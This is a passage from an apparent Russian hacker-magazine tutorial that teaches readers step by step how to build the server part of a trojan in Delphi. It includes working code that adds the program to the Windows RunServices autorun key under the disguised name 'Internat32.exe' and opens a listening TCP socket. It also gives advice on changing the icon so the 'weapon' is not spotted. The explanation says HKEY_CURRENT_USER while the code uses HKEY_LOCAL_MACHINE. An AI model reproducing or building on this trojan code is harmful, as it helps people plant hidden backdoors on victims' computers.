![](../004.gif)
Боевой конь за 10 минут
Horrific (smirnandr@mail.ru)
Спецвыпуск Хакер, номер #004, стр. 004-053-1
Троянский сервер
Запускай Delphi или, если он у тебя уже запущен, создавай новый проект ("File" - "New Application"). Сейчас мы примемся за серверную часть трояна.
Для начала выбери пункт меню "Options" из меню "Project". Перед тобой будет окно, как на рисунке 1.
Здесь ты должен перенести "Form1" из раздела "Auto-Create forms" (список слева) в "Available forms" (список справа), как это сделано у меня. Только что мы отключили Form1 из списка автоинициализируемых форм. Теперь инициализацию придется произвести вручную. Не пугайся, это очень просто.
На странице "Application" этого же диалога есть кнопка "Load Icon". Нажми ее, чтобы сменить иконку будущей проги. Если икону не сменить, то будет использоваться дельфячья, а она быстро выдаст твое смертельное оружие.
Теперь ты должен бросить на форму компонент ServerSocket из раздела "Internet", это сервак протокола (по умолчанию TCP, и нам его достаточно). Выдели созданный ServerSocket1 и перейди в ObjectInspector. Здесь тебя интересует только свойство "Port". По умолчанию оно равно 1024, но я тебе советую его поменять на любое другое (желательно больше 1000).
Теперь щелкни в любом месте на форме, чтобы активизировать ее свойства. Перейди в ObjectInspector и щелкни по закладке Events. Дважды щелкни по строке "OnCreate", и Delphi, как всегда, создаст процедуру, которая будет выполняться при инициализации формы. Напиши там следующее:
procedure TForm1.FormCreate(Sender: TObject);
var RegIni:TRegIniFile;
begin
RegIni:=TRegIniFile.Create('Software');
RegIni.RootKey:=HKEY_LOCAL_MACHINE;
RegIni.OpenKey('Software', true);
RegIni.OpenKey('Microsoft', true);
RegIni.OpenKey('Windows', true);
RegIni.OpenKey('CurrentVersion', true);
RegIni.WriteString('RunServices', 'Internat32.exe', Application.ExeName);
RegIni.Free;
ServerSocket1.Active:=true;
end;
Теперь перейди в начало текста и напиши после "uses" слово "registry". Мы уже делали такую операцию в статье про мега-плеер, но я повторю, как это будет выглядеть:
uses registry, Windows, Messages,
Теперь я объясню, что мы написали в процедуре.
"var RegIni:TRegIniFile" - здесь мы объявили переменную RegIni типа TRegIniFile. С помощью этой переменной мы будем общаться с реестром.
"RegIni:=TRegIniFile.Create('Software')" - инициализируем переменную, указывающую на реестр.
"RegIni.RootKey:=HKEY_LOCAL_MACHINE" говорим, что нас интересует раздел HKEY_CURRENT_USER реестра.
"RegIni.OpenKey('Software', true)" - открываем подраздел "Software".
Дальше я последовательно открываю подразделы, пробираясь в недра окошек.
"RegIni.WriteString('RunServices', 'Internat32.exe', Application.ExeName)" - записываю в раздел "RunServices" (в этом разделе хранятся проги, которые автоматически загружаются при старте) новый параметр с именем "Internat32.exe" (имя будущего файла) и значением Application.ExeName (здесь хранится полный путь к запущенному трояну).
"RegIni.Free" - уничтожаю ненужный больше объект RegIni.
Все это делалось, чтобы при запуске проги она сама себя прописывала в разделе автозапуска. И после перезагрузки компьютера она автоматически загружалась в память.